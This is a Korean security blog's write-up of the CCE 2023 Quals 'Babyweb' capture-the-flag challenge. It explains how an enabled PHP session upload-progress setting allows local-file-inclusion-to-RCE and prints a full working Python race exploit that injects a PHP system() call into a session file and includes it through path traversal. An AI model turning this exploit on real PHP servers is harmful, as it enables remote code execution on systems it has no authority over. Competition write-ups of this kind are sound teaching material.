$ whoami
Home
  • 분류 전체보기 (123)
    • Exploit (10)
      • Tools (2)
      • Exploit (5)
      • Bug Bounty (3)
    • Wargame (84)
      • HackCTF (15)
      • XSS game (6)
      • Dreamhack (2)
      • Webhacking.kr (10)
      • XSS Challenges (8)
      • H4CKING GAME (2)
      • 정보보호영재교육원 (1)
      • Lord of SQL Injection (40)
    • CTF (29)
      • YISF 2022 (0)
      • CBHC 2022 (1)
      • HeroCTF v4 (2)
      • corCTF 2022 (2)
      • Aero CTF 2022 (0)
      • BDSec CTF 2022 (4)
      • San Diego CTF 2022 (5)
      • WACon 2022 Qualifier (1)
      • Cyber Conflict Exercise 202.. (4)
      • DiceCTF 2023 (1)
      • Incognito 4.0 (3)
      • BYUCTF 2023 (1)
      • DEF CON 31 (1)
      • 2023 HackTheon Sejong (1)
      • Cyber Conflict Exercise 202.. (2)
      • CDDC 2023 (1)
      • YISF 2023 (0)
    • Archive (0)
Home
  • 분류 전체보기 (123)
    • Exploit (10)
      • Tools (2)
      • Exploit (5)
      • Bug Bounty (3)
    • Wargame (84)
      • HackCTF (15)
      • XSS game (6)
      • Dreamhack (2)
      • Webhacking.kr (10)
      • XSS Challenges (8)
      • H4CKING GAME (2)
      • 정보보호영재교육원 (1)
      • Lord of SQL Injection (40)
    • CTF (29)
      • YISF 2022 (0)
      • CBHC 2022 (1)
      • HeroCTF v4 (2)
      • corCTF 2022 (2)
      • Aero CTF 2022 (0)
      • BDSec CTF 2022 (4)
      • San Diego CTF 2022 (5)
      • WACon 2022 Qualifier (1)
      • Cyber Conflict Exercise 202.. (4)
      • DiceCTF 2023 (1)
      • Incognito 4.0 (3)
      • BYUCTF 2023 (1)
      • DEF CON 31 (1)
      • 2023 HackTheon Sejong (1)
      • Cyber Conflict Exercise 202.. (2)
      • CDDC 2023 (1)
      • YISF 2023 (0)
    • Archive (0)
블로그 내 검색
CONTACT

HACKINTOANETWORK

SECURITY RESEARCHER, BUG HUNTER, HACKER

  • CTF/Cyber Conflict Exercise 2023

    [CCE 2023 Quals] Babyweb (1)

    2023. 6. 12.

    by. hackintoanetwork

    Prob


    [www]
    user = www-data
    group = www-data
    listen = /run/php/php7.4-fpm.sock
    listen.owner = www-data
    listen.group = www-data
    pm = dynamic
    pm.max_children = 48
    pm.start_servers = 16
    pm.min_spare_servers = 8
    pm.max_spare_servers = 16
    php_admin_value[session.upload_progress.enabled] = 1
    php_admin_value[memory_limit] = 32M
    php_admin_value[max_execution_time] = 10s
    php_admin_value[opcache.enable] = 0
    request_terminate_timeout = 15s

    이 문제에서 www.conf 파일을 보면 PHP_SESSION_UPLOAD_PROGRESS를 켜둔 것을 확인할 수 있었습니다.

    php_admin_value[session.upload_progress.enabled] = 1
     

    LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS - HackTricks

    The trick to remove the initial prefix was to base64encode the payload 3 times and then decode it via convert.base64-decode filters, this is because when base64 decoding PHP will remove the weird characters, so after 3 times only the payload sent by the at

    book.hacktricks.xyz

    PHP_SESSION_UPLOAD_PROGRESS 가 켜져 있는 경우 POST 데이터에 PHP_SESSION_UPLOAD_PROGRESS 매개 변수를 넣어 서버로 보내주면 세션을 강제로 생성할 수 있습니다.

    세션 파일의 이름은 PHPSESSID 값으로 생성되고 아래의 경로에 생성되게 됩니다.

    /var/lib/php/sessions/sess_{} 

    그리고 PHP_SESSION_UPLOAD_PROGRESS 에 제공된 모든 값이 세션 파일의 내용이 됩니다. 
    이를 이용해 아래의 익스 코드로 LFI to RCE를 트리거 시켜 문제를 풀 수 있었습니다.

     

    [Web] HackCTF Wise Saying

    해당 url을 눌러 이동해보자. 이동하였더니 로그인 창이 뜬다. 아무런 값이나 넣어 로그인 해보았는데 로그인이 되었다. 로그인이 되면 위와 같은 페이지가 나온다. 1 부터 10까지 다 눌러본 결과

    hackintoanetwork.com

    나머진 이 문제 참고.

     

     

     

    Exploit


    import requests
    import threading
    
    url = "http://20.196.197.149:8000/"
    
    found_flag = False
    
    def sess_req():
        cookie = {"PHPSESSID": "hackintoanetwork"}
        data = {'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("/readflag")?>'}
    
        while not found_flag:
            res = requests.post(url, files={"f": "hackintoanetwork"}, data=data, cookies=cookie)
    
    def exploit():
        payload = "?page=../../../../var/lib/php/sessions/sess_hackintoanetwork"
        while True:
            res = requests.get(url + payload)
            if "cce2023{" in res.text:
                print(res.text)
                global found_flag
                found_flag = True
                break
    
    if __name__ == "__main__":
        threads = []
        for _ in range(10):
            thread = threading.Thread(target=sess_req)
            thread.start()
            threads.append(thread)
    
        exploit()
    
        for thread in threads:
            thread.join()

     

     

     

    FLAG


    FLAG : cce2023{1e6b9e3691debe669ecd5626e7797ad4}

     

    저작자표시 비영리 (새창열림)

    'CTF > Cyber Conflict Exercise 2023' 카테고리의 다른 글

    [CCE 2023 Quals] Baby File Manager  (0) 2023.06.10

    댓글

    관련글

    • [CCE 2023 Quals] Baby File Manager 2023.06.10
    맨 위로
전체 글 보기
Tistory 로그인
Tistory 로그아웃
로그아웃 글쓰기 관리

Today

Total

Powered by hackintoanetwork

Designed by Nana
블로그 이미지
hackintoanetwork

티스토리툴바